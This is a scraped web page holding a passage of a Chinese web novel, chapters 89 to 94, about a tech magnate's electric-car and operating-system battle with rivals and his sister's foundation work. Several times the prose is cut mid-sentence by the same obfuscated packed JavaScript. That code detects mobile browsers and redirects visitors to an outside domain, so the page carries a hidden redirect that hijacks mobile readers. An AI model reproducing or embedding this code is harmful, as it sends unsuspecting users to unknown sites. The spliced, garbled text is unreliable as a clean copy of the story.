l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348535|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来十年的命运。” “我之所以来见你，是因为你大哥是陆沉渊。我很好奇，他的妹妹，会是个什么样的人。” “而我决定投你，不是因为墨清漓。” “是因为你的项目，本身就很好。” 她看着陆芊芊，一字一句地说道。 “你以为的名声，是什么？是媒体上的几句吹捧？” “错了。真正的名声，是影响力，是话语权，是能帮秦家打开很多无形大门的钥匙。” “你的基金会，做的是国际化的项目，连接的是最前沿的技术和最底层的需求。这种事，做好了，比任何商业广告，都更能提升一个家族的软实力。” “用两个亿，买一个能持续产生正面影响力的平台，还能顺便恶心一下我的对手。陆芊芊，你告诉我，这笔买卖，划不划算？” 陆芊芊呆呆地看着她。 她感觉自己，像是第一次认识眼前的这个女人。 外界传言的那个刁蛮任性，唯恐天下不乱的秦家大小姐，原来只是一层保护色。 在这层外壳之下，是一个精明、果决、对利益和人性有着清晰洞察的，真正的豪门掌舵人。 “我明白了。”陆芊芊站起身，向秦雅郑重地鞠了一躬。 “谢谢您，秦总。我代表‘远方’，欢迎您的加入。” 秦雅摆了摆手，重新戴上墨镜，又变回了那个慵懒的模样。 “行了，别整这些虚的。把合同拿来，我签字。” “以后有什么事，直接找我的助理。我忙得很，没空陪你们小孩子过家家。” 说完，她便起身，踩着高跟鞋，像一阵风似的离开了。 陆芊芊坐在原地，许久才回过神来。 她拿起手机，拨通了陆沉渊的电话。 “大哥，我见到秦雅了。” 她的声音，带着一丝还未平复的震撼。 “她……和你说的，和所有人说的，都不一样。” 电话那头，传来陆沉渊平静而温和的声音。 “现在，看懂了？” “嗯。” “那就好。”陆沉渊轻笑了一声。 “欢迎来到，真正的牌桌，芊芊。” 第90章 王牌 京州的商业天空，一夜变色。 两则重磅消息，在同一天引爆了整个汽车行业。 国际巨头思特拉，京州超级工厂正式投产。 第一款产品，就是针对夏国市场的**车型“先锋”。 售价，三十五万。 剑锋直指“无距”汽车的中高端基本盘。 如果说思特拉的入局还在预料之中，那么另一则消息，则像一颗深水**。 秦氏新能源，高调发布全新子品牌“风驰”。 首款车型，配置对标“无距”青春版。 售价，十九万八。 这个价格，几乎是贴着成本线在卖。 一内一外，一高一低。 两把尖刀，精准地刺向了“无距”汽车的咽喉和软肋。 渊龙科技，顶层办公室。 林远的脸色，前所未有的凝重。 “陆总，有些麻烦了。” 他将一份实时更新的数据报告，放在陆沉渊面前。 “思特拉的‘先锋’和秦氏的‘风驰’发布会后二十四小时，我们的新增订单量，下滑了百分之三十。” “门店的退订电话，响个不停。” “网络上，所有汽车论坛都在讨论这件事。风向很不好，都在说我们是‘智商税’。” 这是“无距”汽车上市以来，第一次遭遇如此重大的危机。 公司内部，气氛紧张。 不少高管已经坐不住，纷纷给林远打来电话，言语间充满了焦虑。 “要不要立刻召开紧急会议？”林远问道，“大家都在等您拿主意。” “不用。”陆沉渊的目光，依旧停留在窗外。 他看着远处那座刚刚开始打桩的“无距”超级工厂，眼神平静。 “让他们去吵，去争。” “真正的战争，从来不在会议室里。” 他转过身来，平静地看着林远。 “通知下去，三件事。” “第一，所有降价、促销的提议，全部驳回。” “第二，加快‘无距’超级工厂的建设进度，不惜成本。” “第三，通知陆若溪的盘古实验室和所有核心软件部门，准备开会。” 林远的眼中闪过一丝困惑，不知道陆沉渊打的什么算盘。 不降价？ 还要加速烧钱建厂？ 这不合常理。 但是，林远没有多问，立刻点头：“是。” 一个小时后，渊龙科技最高保密等级的会议室。 只有不到十个人，有资格坐在这里。 除了陆沉渊和林远，就是渊龙科技在人工智能和软件领域最核心的负责人。 陆若溪，也赫然在列。 她穿着一身简单的白衬衫，气质清冷，像是一个不染尘埃的谪仙。 会议室里地气氛似乎有些压抑。 所有人都知道公司正面临着前所未有的外部压力。 陆沉渊没有一句废话，直接打开了投影。 屏幕上没有出现汽车，也没有出现数据报表。 而是一个全新的，充满了科技感和未来感的操作系统界面。 界面的正中央，是两个篆体的汉字。 天枢。 “各位。”陆沉渊开口，语调不急不缓，“今天，我们不讨论敌人，只讨论我们自己。” “我问大家一个问题，汽车的本质是什么？” 没人回答。 陆沉渊自问自答：“过去，汽车是交通工具。是四个轮子加一个沙发。竞争的核心，是发动机，是底盘，是硬件。” “但未来，汽车是智能终端。” “是家庭和办公室之外，人类的第三个生活空间。” “它的核心，是算力，是软件，是生态。” 他指着屏幕上的“天枢OS”。 “这，就是我们为未来准备的答案。” “一个由‘女娲2.0’大模型全面驱动的，真正的智能座舱系统。” 陆若溪站起身，接过话头。 她用激光笔，指向屏幕上的交互逻辑图。 “‘天枢OS’，将彻底打通车、家、人三个场景。它不再是一个被动的系统，而是一个主动的管家。” “你下班，它会自动同步你的日程，在车里为你准备好下一个会议的资料简报。同时，它会计算你的回家时间，提前启动家里的空调、空气净化器和热水器。” “它能识别你的情绪。当你疲惫时，它会主动播放舒缓的音乐，将座椅调整到最舒适的角度。当你兴奋时，它会为你推荐附近评分最高的餐厅。” “最重要的是。”陆若溪的眼中，闪着自信的光芒，“它将向所有开发者，开放最底层的接口。” “任何一个有创意的程序员，都可以在‘天枢’上，开发自己的应用。我们提供平台，全世界的智慧，为我们构建生态。” 会议室里，陷入一片安静之中。 所有人都被这个宏大的构想所深深震撼。 他们终于明白，陆总这盘棋，下得有多大。 当思特拉和秦氏集团还在纠结于硬件成本和销售价格时，陆沉渊已经将战争，上升到了一个全新的维度。 “我决定。”陆沉渊的声音沉稳，说道，“提前发布‘天枢OS’。” “我不管你们用什么方法，一周之内，我要让这套系统，搭载到‘无距’所有的展车和试驾车上。” “同时，筹备发布会。我们要告诉市场，真正的游戏，现在才刚刚开始。” “硬件的利润，可以很低。” 陆沉渊的目光扫过每一个人。 “但生态的价值，是无限的。” 一周后。 京州国家会议中心。 渊龙科技，召开了一场举世瞩目的发布会。 所有的媒体，都在猜测陆沉渊会如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348536|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应对这场价格战。 是宣布降价，还是推出廉价车型？ 发布会现场，座无虚席。 陆沉渊穿着一件简单的黑色T恤，走上舞台。 没有华丽的开场，没有渲染危机。 他只是平静地站在那里。 “很多人都在问，‘无距’要如何应对这场价格战。” “我的答案是，我们不应对。” “因为，那不是我们的战争。” “今天，我不是来发布一款新车，我是来定义一个新物种。” 他身后的大屏幕，瞬间亮起。 “天枢OS”，正式亮相。 那流畅的交互，那聪慧的语音助手，那无缝连接的万物互联场景…… 通过现场的实机演示，一个属于未来的智能移动空间，被清晰地展现在所有人面前。 全场轰动。 所有人都明白了，这是一种降维打击。 当你的对手还在和你比谁的刀更锋利时，你直接掏出了一把枪。 发布会的最后，陆沉渊宣布了一个更重磅的决定。 “‘天枢OS’，将作为免费的系统更新，推送给所有‘无距’汽车的现有车主。” “我们的承诺是，‘无距’汽车，将是一台永远不会过时的，可以持续进化的智能终端。” 随着陆沉渊讲话地结束，现场响起了雷鸣般的掌声。 那些因为价格而犹豫的消费者，瞬间被击中了。 一台，是只会降价的普通汽车。 另一台，是拥有无限可能，可以不断升级的“未来物种”。 该怎么选，已经不言而喻。 秦氏集团。 厉烬川死死地盯着屏幕上那个从容自信的身影。 他砸在“风驰”项目上的所有心血，他引以为傲的价格**策略，在“天枢OS”面前，显得如此可笑，如此不堪一击。 他以为自己抓住了陆沉渊的软肋。 却没想到，对方根本没把他放在眼里。 陆沉渊直接掀了棋盘，然后告诉所有人，我们要玩一个更高级的游戏。 一股彻骨的寒意，从脚底升起。 他再一次体会到了那种被降维打击的无力感。 他猛地将手中的杯子狠狠砸在地上。 “陆沉渊！” 他咬着牙，一字一句地嘶吼。 同一时间，秦雅的办公室里。 她看完了整场发布会，久久没有说话。 她脸上的慵懒和玩味，消失得无影无踪。 取而代之的，是一种混杂着挫败、欣赏和忌惮的复杂神情。 “现在，你看懂了吗？” 她对着空气，轻声说了一句。 像是在问自己，又像是在问那个已经陷入癫狂的厉烬川。 “他从来，就没想过要跟我们下同一盘棋。” “他自己，就是规则。” 第91章 夏音 京州的另一个角落。 一间崭新的办公室里，刚刚挂上了“夏音时代”的铭牌。 这是陆沉晏的娱乐公司。 在任茜高效的操盘下，公司的框架在最短的时间内搭建完成。 装修风格现代简约，所有录音和办公设备都是行业顶尖。 陆沉晏站在巨大的落地窗前，俯瞰着脚下川流不息的城市，却没有丝毫的喜悦。 陆沉晏的眉头却紧紧锁着，心中想着这一段时间里最大的滑铁卢。 公司有了，钱有了，大哥陆沉渊给的资源也无可挑剔。 但他心里最想要的那块基石，却怎么也搬不动。 嵇亦辰。 这个名字，在主流音乐圈几乎不存在。 但在独立音乐圈，却被无数乐迷奉若神明。 他的音乐，充满了对底层尖锐的关怀和对社会不公的愤怒。 曲风粗粝，歌词如刀，每一首都像是一份来自边缘地带的、血淋淋的社会报告。 陆沉晏知道，想要让“夏音时代”不只是一个流水线上生产偶像的赚钱机器，而是一个真正有灵魂、有态度的文化厂牌，嵇亦辰是最好的选择。 为此，他亲自登门了三次。 第一次，直接吃了个闭门羹。 第二次，嵇亦辰让他等了两个小时，然后说没兴趣。 第三次，嵇亦辰总算见了他，在一个破旧的排练室里。 “陆沉晏。”嵇亦辰穿着一件质感很差的旧T恤，眼神孤傲，“我听过你的歌。很甜，很流行，很安全。” 他顿了顿，语气里的漠视不加掩饰。 “你的公司，大概也一样。只会生产包装精美的糖果。” “我不需要安全。我的音乐，更不需要被包装成糖果。” “你的世界，我不懂。我的世界，你最好别来。” 说完，嵇亦辰便拿起吉他，自顾自地弹奏起来，再也没看陆沉晏一眼。 陆沉晏感觉自己所有的热情和宏大构想，都被这一盆冰水从头浇到脚。 他引以为傲的一切，在对方面前一文不值。 “三哥，愁眉苦脸的，在想什么呢？” 一个清脆的声音打断了陆沉晏的思绪，陆芊芊推门走了进来。 她今天穿着一身干练的运动装，长发扎成高马尾，显得英姿飒爽。 她的手里还提着一个果篮。 “今天刚好有空，我来看看你的新公司，顺便恭喜你当老板。” “别看了，一个空壳子而已。”陆沉晏转过身，自嘲地笑了笑。 随后，陆沉晏把嵇亦辰的事情，原原本本地说了一遍。 “……他说我是糖果。”陆沉晏的语气里有几分挫败感。 “嵇亦辰？”陆芊芊的眼中，闪过一丝光芒，“我知道他。” 陆沉晏惊讶地看着她：“你怎么会知道他？” “他的歌，我在中东的维和部队营地里听过。一个夏国来的通讯工程师，用他那台破旧的手机外放的。他说，想家的时候，或者看到那些不公平的事情气得睡不着觉的时候，听一听嵇亦辰的歌，就觉得心里那股劲儿，还在。” 听完这番话，陆沉晏更加沉默了。 原来，那个男人的音乐，早已去到了他无法想象的，遥远的地方。 “三哥，你从一开始就搞错了一件事。”陆芊芊把果篮放在茶几上，认真地看着他。 “你去找他，是以一个资本家的身份，想去购买他的才华。” “但他那种人，最痛恨的就是资本。你这是在用他最讨厌的方式，去接近他。” 陆沉晏皱眉：“那我该怎么办？总不能空手去跟他谈理想吧？” “你不该去。”陆芊芊的思路清晰无比，“应该让我去。” 陆沉晏愣住了：“你？” “对。”陆芊芊自信地点头，“我去，不是以‘夏音时代’说客的身份，而是以‘远方’基金会创始人的身份。” “我去跟他谈的，不是合同，不是钱。是合作。” “一种，能让他的音乐，去到它最该去的地方的合作。” 陆沉晏看着眼前的妹妹，他发现自己好像从来没有真正认识过她。 她明明比自己小，但此刻，她的眼神，她的思路，却比自己要成熟和通透得多。 陆沉晏忽然觉得，自己过去那些宠溺，是多么的浅薄。 “好。”他深吸一口气，点了点头，“你试试。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348537|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天下午。 一家位于老城区的独立书店，这里是嵇亦辰和陆芊芊约好见面的地方。 嵇亦辰故意比约定时间晚了十分钟。 他想给那个据说娇生惯养的大小姐一个下马威。 他甚至已经准备好了一套说辞，来应付对方珠光宝气的傲慢。 可当他推开书店的门，看到的，却是一个穿着简单白衬衫和牛仔裤，素面朝天的女孩。 她正坐在靠窗的位置，安静地翻阅着一本关于战地摄影的画册，侧脸在午后的阳光下，显得宁静而专注。 没有名牌，没有浓妆，更没有不耐烦。 嵇亦辰的准备落了空。 “你就是陆芊芊？”他走到桌前，语气依旧保持着惯有的冷淡。 “嵇先生，请坐。”陆芊芊合上书，抬头看向他，做了个请的手势。 她的眼神很干净，很平静，没有丝毫的局促或者讨好。 “如果还是为了陆沉晏的事，就免了。”嵇亦辰坐下后，便开门见山地说道。 “不是。”陆芊芊摇头，“我今天来，是想以一个听众的身份，向您请教一个问题。” “请教？”嵇亦辰的眉毛挑了一下，有些意外。 “您在歌里唱过，‘高墙之下，人的尊严，一文不值’。”陆芊芊直视着他的眼睛，那双眼睛里，有一种超乎年龄的沉静，“我想知道，在您看来，尊严到底是什么？” 这个问题，让嵇亦辰愣住了。 他没想到，对方会用他自己的歌词，来开启这场对话。 这让他收起了几分敷衍。 “尊严，是不被支配，是不被收买，是思想和灵魂的自由。”他下意识地回答，这是他一直以来的信条。 “说得很好。”陆芊芊点了点头，表示赞同。 然后，她话锋一转。 “那如果，一个人连下一顿饭在哪里都不知道，他还有资格谈论尊严吗？” “如果一个母亲，为了给发高烧的孩子换一瓶干净的饮用水，不得不出卖自己的身体，她的尊严又在哪里？” “如果一个民族的文化，正在被战火和贫穷一点点抹去，他们整个群体的尊严，又该如何安放？” 第92章 夏音与远方 陆芊芊的每一个问题都很平静却又无比尖锐。 此时的嵇亦辰彻底沉默了。 这些问题，他当然思考过，也写在歌里。 但眼前的女孩，她的语气太平静了，平静得不像是提问，而是在陈述。 她，亲眼见过？！ “我去年，在F洲东部的一个难民营待了三个月。”陆芊芊缓缓说道，像是在回忆一件寻常的往事。 “那里常年断电，更没有网络。当地人唯一的娱乐，是一个国际慈善组织，每周用柴油发电机，在空地上放一次老旧的露天电影。” “但更多的时候，是漫长而寂静的黑夜。那种寂静，会吞噬掉人的希望。” “一个晚上，营地里有个老人去世了。他的儿子，一个三十多岁的男人，没有哭。他就坐在黑暗里，一遍一遍地，唱着他们部落的古老歌谣。” “那歌声，说实话很难听，很嘶哑，完全不符合任何音乐审美。但整个营地几百号人，都安安静静地听着。没有一个人说话。” “在那一刻，我忽然明白了。”陆芊芊的目光，仿佛穿过了书店的窗户，望向曾经的那个地方。 “音乐，有时候不是艺术品，不是商品。它是人用来对抗虚无和绝望的，最后一件武器。” “它和食物、水一样，是生存的必需品。只不过，它维系的，是精神上的尊严。” 嵇亦辰看着她，眼神彻底变了。 他收起了所有的孤傲和审视。 这个女孩的身上，有一种他从未在京州这些豪门子弟身上见过的东西。 一种源于广阔天地的悲悯，和一种脚踩过泥泞的清醒。 “你说的这些，我都懂。”嵇亦辰的声音，不自觉地柔和了一些，“但这些，和陆沉晏的公司，和资本，又有什么关系？” “有关系。”陆芊芊将视线收回来，重新聚焦在他的脸上。 “我的‘远方’基金会，未来会在全球范围内，援助那些需要帮助的人。我们不仅会带去物资、药品和技术，我更希望，能带去精神上的慰藉和力量。” “我希望，在我们的移动医疗站里，在我们的临时学校里，在那些等待救援的帐篷里，能响起您的音乐。” “我希望，您的歌声，能代替我，告诉那些被世界遗忘的人们，他们没有被遗忘，有人在关心他们的苦难，有人在为他们的不公而呐喊。” “而‘夏音时代’，就是能将这一切，变成现实的平台。它有最好的录音设备，可以保证您音乐的品质。有最专业的发行渠道，能让这些声音被更广泛地听到。它更有足够的资本，去支撑我们做这些完全‘不赚钱’，甚至要倒贴钱的事。” 她身体微微前倾，目光灼灼地看着嵇亦辰。 “嵇先生，我三哥不懂你的世界，他想买你的艺术。但我想，我的世界，你应该能懂。” “我不是来收买你的。我是来邀请你，成为我的战友。” “我们一起，用音乐，去和这个操蛋的世界，谈一谈。” “战友。” 这个词，像一颗**瞬间击中了嵇亦辰的心。 书店里很安静，只有老旧风扇“吱呀”转动的声音。 嵇亦辰看着眼前的陆芊芊，久久没有说话。 他感觉自己一直以来所坚持的，那份对资本的鄙夷和对世界的愤怒，在这个女孩面前，显得有些狭隘了。 她没有否定他的愤怒，而是给了他的愤怒一个出口。 一个更广阔，更具建设性的出口。 “我有个条件。”许久，嵇亦辰终于开口，声音有些沙哑。 “您说。”陆芊芊的眼中，闪过一丝喜悦。 “我可以和‘夏音时代’签约。” “但是，我的第一张专辑，必须是和‘远方’基金会的联名项目。所有的版税收入，全部捐给基金会。而且，所有的创作，你必须参与。我要的，是你的眼睛，你的故事。” 陆芊芊笑了。 那笑容，像雨后的太阳那般明亮而温暖，给人以希望和力量。 她站起身，向嵇亦辰伸出手。 “一言为定。” 嵇亦辰也站起身，握住了她的手。 …… 陆沉晏接到电话的时候，正在办公室里来回踱步。 当他听到嵇亦辰同意签约，并且点名要和陆芊芊合作时，整个人都呆住了。 他挂掉电话，在办公室里站了很久很久。 然后，他拿起外套，第一次主动向陆芊芊的办公室的方向走去。 …… “芊芊。” 正在看基金会文件的陆芊芊抬起头：“三哥？事情成了？” “嗯。”陆沉晏点了点头。 他走到她面前，看着自己这个妹妹，这个他一直以为需要自己保护的妹妹。 “谢谢你。”他由衷地说。 “我们是家人嘛。”陆芊芊不在意地笑了笑。 “不。”陆沉晏摇了摇头，眼神前所未有的认真，“从今天起，我们还是战友。” 陆芊芊微微一怔，然后回过神来，也认真的看着陆沉晏，然后轻轻地说了一句， “嗯，我们是战友。” …… 夜里，嵇亦辰回到家。 他住的地方是京州大学分的教师公寓，一套三居室的老房子，充满了书卷气。 墙上挂着几幅王岚早年的画作，客厅里没有电视，只有一面顶天立地的书架和一套素雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348538|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的布艺沙发。 一个气质温婉知性的妇人，戴着一副金丝眼镜，正坐在灯下看一本画册。 她就是嵇亦辰的母亲，京州大学美术学院的教授，王岚。 “辰辰，回来了，吃过饭了吗？”王岚抬起头，温和地笑了笑。 “妈，我吃过了。”嵇亦辰换下鞋子，将外套搭在玄关的衣帽架上。 “今天去见朋友了？”王岚给他倒了杯温水。 “嗯，谈了点工作。”嵇亦辰接过水杯，在沙发上坐下，“妈，我决定了，跟一家公司签约。” 王岚有些讶异，随即莞尔一笑：“哦？是哪家公司，能入得了我们大艺术家的法眼？” “夏音时代。”嵇亦辰笑了笑，脸上难得地不带任何嘲讽和愤世嫉俗，“老板的妹妹，是个很有意思的人。” 王岚看着儿子脸上那抹真诚的、甚至带着一丝欣赏的笑容，心里微微一动，试探着问：“是……老板的妹妹？” “嗯。” 王岚还想再问，嵇亦辰却已经站起身，走进了自己的房间。 “妈，我有点累，先休息了。” 王岚看着他关上的房门，无奈地摇了摇头。 不过，王岚的眼中却带着一丝欣慰和好奇。 她拿起手机，想了想，拨通了一个熟悉的号码。 电话很快被接通。 “梦玲啊，是我。” “岚姐，这么晚了，有事吗？”电话那头，传来楼梦玲温和的声音。 她们是大学同学，几十年的交情，早已如家人一般。 “没事，就是想跟你这个当妈的，吐吐苦水。”王岚靠在沙发上，揉了揉眉心。 “我们家辰辰，还是那副愤世嫉俗的样子。一天到晚就知道写他那些歌，跑去那些穷乡僻壤采风，真怕他要当一辈子孤家寡人。” 当年，她发现嵇家那位风流的丈夫出轨后，便毅然决然地离了婚，带着儿子净身出户。 嵇亦辰这孤傲又痛恨不公的性子，多半也是受了原生家庭的影响。 “你说，上次我想撮合他跟你家芊芊见个面，他倒好，直接说没空。”王岚叹了口气， “你们芊芊那么优秀的女孩子，估计也看不上我们家这个浑身长刺的刺猬。” 楼梦玲在电话那头笑了。 “岚姐，你就别操心了。现在的孩子，都有自己的主意。我家芊芊，前两天也跟我说呢，她说，男人只会影响她前进的脚步。” “你听听，你听听，这都什么话！”王岚被逗得又好气又好笑。 “缘分这东西，强求不来的。看他们自己吧。”楼梦玲安慰道。 两个母亲，在电话里，为各自孩子的“特立独行”，操碎了心。 第93章 风雨欲来 “无距”的订单量井喷了。 渊龙科技的后台数据，像一条冲天而起的巨龙。 林远的声音，在电话里带着无法抑制的激动，甚至有一丝颤抖。 “陆总，我们的服务器已经紧急扩容了两次，现在又在告急。” “发布会后七十二小时，新增订单，超过了过去一个月的总和。” 林远顿了顿，语气更加兴奋。 “‘风驰’那边，听说已经爆发出大规模的退订潮。秦氏新能源的客服电话，快被打爆了。” “即使是是思特拉的先锋，也出现不小的退订潮！” “陆总，我们胜利了！” 办公室里很安静。 陆沉渊站在巨大的落地窗前，看着脚下川流不息的城市，眼神平静如初。 “胜利了吗？”他问。 “是的，陆总，我们赢了。”林远用力地回答，仿佛要用声音传递他的喜悦。 “不。”陆沉渊转过身，目光落在办公室里唯一的听众，墨清漓的身上。 “这只是开始。” 他对电话那头的林远下达了新的命令。 “通知下去，一个月后，在京州国家会议中心，召开首届‘渊龙生态开发者大会’。” “设立一亿元开发者扶持基金，面向全球。” 林远愣住了。 他以为可以喘口气了。 他以为接下来会是扩大产能，消化订单的常规操作。 但他老陆的棋盘，永远比所有人多看三步。 “这是……要把所有人都绑上我们的战车。”林远瞬间明白了陆沉渊的意图。 “不是绑。”陆沉渊纠正道，“是邀请。” “我要让‘天枢’成为所有人的‘天枢’。我们建好舞台，让全世界最有智慧的人，来上面唱戏。” “我明白了。”林远的声音，重新变得沉稳有力。 挂掉电话，办公室里恢复了宁静。 墨清漓就坐在不远处的沙发上，一直安静地听着。 她看着陆沉渊，没有说话。 直到他放下手机，她才起身，迈开脚步，缓缓走上前。 高跟鞋敲击地面的声音，清脆，沉稳。 “你从不庆祝胜利。”她陈述道，像是在说一个早已洞察的真理。 “因为敌人不会给我们庆祝的时间。”陆沉渊很自然地拉起她的手。 他的手心很暖，干燥而有力。 这股暖意，顺着她的指尖，一直流淌到心里。 “清漓，我们做的不是一门生意。”他看着她的眼睛，认真地说。 “我知道。”墨清漓回望着他，“我们是在定义一个时代。” 陆沉渊笑了，发自内心的，轻松的笑。 只有她，最懂他。 这种不需要解释，不需要铺垫，甚至不需要言语的心意相通，比世界上任何商业上的胜利，都让他感到安宁和满足。 同一时间，秦氏集团，顶层办公室。 秦雅看着屏幕上那条“无距”汽车暴涨的订单曲线，脸上没有任何愤怒。 只有一种深入骨髓的，冰冷的平静。 她关掉了数据页面，身体向后靠在昂贵的真皮座椅上。 厉烬川依然挂着“风驰”项目的总经理头衔，只是已经几乎被架空。 那个男人，输掉的不仅仅是一个项目，还有她最后的信任。 她曾经以为，他的狠厉和野心，是一把可以用来对付陆沉渊的利刃。 现在她明白了，在绝对的技术壁垒面前，任何狠厉都只是匹夫之勇。 “通知下去。”她对站在一旁的助理说。 “暂缓‘风驰’项目的市场推广，收缩在‘风驰’项目上的投资，只要保持现有的中低端市场基本盘。” 虽然“风驰”被“无距”打得毫无招架之力，不过当初为了对抗“无距”而成立的“风驰”，由于入局时间够早，又是背靠秦氏集团，其实已经有了一定的市场基础。 这，不得不说也是一种“失之东隅，收之桑榆”的意外之喜。 “另外，给我成立一个新部门，就叫‘资源战略部’。” “大小姐，这个部门的……目标是？”助理小心翼翼地问。 秦雅的目光，投向了墙上那幅巨大的世界地图。 “南美，非洲。” 她的手指，在地图上轻轻划过。 “锂矿，钴矿，镍矿。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348539|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“所有新能源电池需要的核心原材料。” 秦雅的眼中，闪烁着野兽般的光芒。 “陆沉渊和墨清漓要建他的空中楼阁，要搞他的软件生态，我就断他的粮草。” “技术上打不过你，我就在你看不到的地方，釜底抽薪。” A国，首都。 一场高规格的闭门听证会正在进行。 思特拉的CEO马克，正在向几位国会议员，展示着关于“天枢OS”的技术分析报告。 “先生们，‘天枢OS’的扩张，已经不仅仅是商业问题。”马克的声音，充满了煽动性。 “一个来自夏国的封闭系统，正在以前所未有的速度，掌握我们公民的出行数据、生活习惯，甚至是情绪变化。从**的角度看，这是极其危险的。” 一位资深议员，关掉了面前的屏幕。 “我明白你的意思。” “我会在下一次技术委员会的会议上，提议对相关的进口智能终端技术标准，重新进行评估和认证。” “合作愉快。” “合作愉快。” 一场围绕供应链和国际规则的新战争，在看不见的层面悄然拉开了序幕。 夜幕降临。 京州，云顶壹号公寓。 陆沉渊和墨清漓并肩站在巨大的落地窗前。 脚下是京州的万家灯火，璀璨如星河。 “秦雅动手了。”墨清漓轻声说。 墨家强大的情报网络，让她第一时间就知道了秦氏集团内部的最新动向。 “思特拉也开始了。”陆沉渊的语气同样平静。 他没有看任何情报，但他能猜到。 这些，都是必然会发生的。 就像在另一个世界里，曾经发生过的事情一样。 “怕吗？”他转过头，看着身边的女人。 灯光下，她的侧脸线条优美，眼神却比窗外的星空更亮。 墨清漓轻轻靠在他的肩上，感受着他身体的温度。 “以前，只有我一个人在顶着。” “输不起，也不敢输。” 她停顿了一下，声音里多了一丝柔软。 “现在，我有你。” 第94章 今宵夜沉 “现在，我有你” 墨清漓的回答，不是一句动人的情话，更像是一种基于现实的冷静的陈述。 这是一个事实。 一个让她感到前所未有心安的事实。 陆沉渊伸出手，将她紧紧地拥在怀里。 他知道，从“天枢OS”发布的那一刻起，他们就站在了世界棋局的中央。 对手，不再是厉烬川那样的角色。 而是真正的国际巨头，是盘根错节的利益集团，甚至是若隐若现的国家力量。 窗外的夜色，深沉如海。 属于他们的，真正的战争，才刚刚开始。 但此刻，他抱着她，内心却无比安宁。 “饿不饿？”他忽然问。 “嗯？”墨清漓愣了一下，话题的转折让她有些没跟上。 “我去做饭。”陆沉渊放开她，很自然地卷起衬衫的袖子。 墨清漓看着他走进厨房，打开冰箱，熟练地拿出食材。 那个在发布会上指点江山，在会议室里运筹帷幄的男人，此刻，正系着一条简单的围裙，为她准备晚餐。 这种强烈的反差，让她心头一软。 她也走了进去。 厨房很大，现代化的厨具一应俱全，但处处都透着一股单身男性的冷清。 “我帮你。”她说。 “你会？”陆沉渊挑了挑眉，语气里带着一丝揶揄。 墨清漓想了想自己有限的下厨经历。 第一次下厨好像还是在国外留学时，为了应付论文周，用烤箱烤过一个速食芝士饼。 然后就是上次，差点点燃了陆沉渊的厨房。 想到这些，她诚实地摇了摇头。 “但我可以学。” 她拿起一颗番茄，学着陆沉渊的样子，在水龙头下清洗。 水花溅起，沾湿了她昂贵的丝质衬衫。 陆沉渊从她身后拿过番茄，又递给她一条干毛巾。 “你站在这，陪我说话就行。” 他的声音很近，温热的气息，拂过她的耳畔。 墨清漓的脸颊，微微有些发烫。 她靠在流理台边，看着他专注地切菜，动作娴熟，刀工利落。 “你好像什么都会。”她轻声说。 “在村里的时候，不自己做，就得饿肚子。”陆沉渊随口答道。 他说的，是前世的记忆。 但在墨清漓听来，却给她描绘出了一个她从未了解过的陆沉渊。 她想象着一个少年，在某个遥远的地方，独自面对着生活。 他的沉稳，他的谋略，他那远超同龄人的成熟，原来，都是被生活这把刀，一刀一刀雕刻出来的。 她的心里，泛起一丝难以言喻的心疼。 饭菜很快就做好了。 三菜一汤，十分家常，却色香味俱全。 两人坐在餐厅里，没有谈工作，没有谈敌人。 只是安静地吃着饭。 气氛温馨得不像两个商业帝国的掌舵人，更像一对最普通的夫妻。 吃完饭，陆沉渊去洗碗。 墨清漓没有和他抢，她知道，这是他放松的一种方式。 她环顾着这间巨大的公寓。 装修是顶级的，家具是名贵的，但处处都透着一股“样板间”的疏离感。 太冷清了。 这个男人，心里也太冷清了。 她走到客厅，看着那一排排关于科技、历史和经济的书籍。 